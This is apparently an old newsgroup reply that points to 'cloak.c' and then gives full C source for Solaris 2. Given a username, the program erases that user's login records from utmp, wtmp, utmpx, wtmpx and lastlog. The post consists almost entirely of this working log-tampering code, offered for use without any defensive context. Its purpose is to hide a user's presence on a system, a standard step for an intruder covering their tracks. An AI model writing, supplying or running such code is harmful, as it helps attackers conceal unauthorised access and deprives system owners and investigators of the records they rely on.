Quote:> Do an alta vista search for "cloak.c" which has code
>for clearing utmp and wtmp entries.
>mjr.
>--
>Chief Scientist, V-ONE Corporation -- "Security for a connected world"
>work http://www.v-one.com
>personal http://www.clark.net/pub/mjr/mjr-top.html
The following is for Solaris2. It takes a username as an argument and
removes all entries from [uw]tmp [uw]tmpx and lastlog.
rick
#include <stdio.h>
#include <fcntl.h>
#include <utmpx.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
void kill_tmp(char *, char *);
void kill_tmpx(char *, char *);
void kill_lastlog(char *, char *);
int f;
char buf[40];
main(int argc, char **argv)
{
if (argc!=2)
{
puts("Error!");
exit(1);
}
kill_tmp(UTMP_FILE,*(argv +1));
kill_tmp(WTMP_FILE,*(argv +1));
kill_tmpx(UTMPX_FILE,*(argv +1));
kill_tmpx(WTMPX_FILE,*(argv +1));
kill_lastlog("/var/adm/lastlog",*(argv +1));
Quote:}
void kill_tmp(char *name, char *who)
{
struct utmp utmp_ent;
if ((f=open(name,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
else
{
sprintf(buf,"write %s",name);
perror(buf);
}
Quote:}
void kill_tmpx(char *name, char *who)
{
struct utmpx utmp_ent;
if ((f=open(name,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_user,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
else
{
sprintf(buf,"write %s",name);
perror(buf);
}
Quote:}
void kill_lastlog(char *name, char *who)
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))==NULL)
{
printf("Can't get user info for %s in /etc/passwd\n",who);
printf("lastlog not changed.\n");
return;
}
if ((f=open(name, O_RDWR)) >= 0)
{
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
else
{
sprintf(buf,"write %s",name);
perror(buf);
}
Quote:}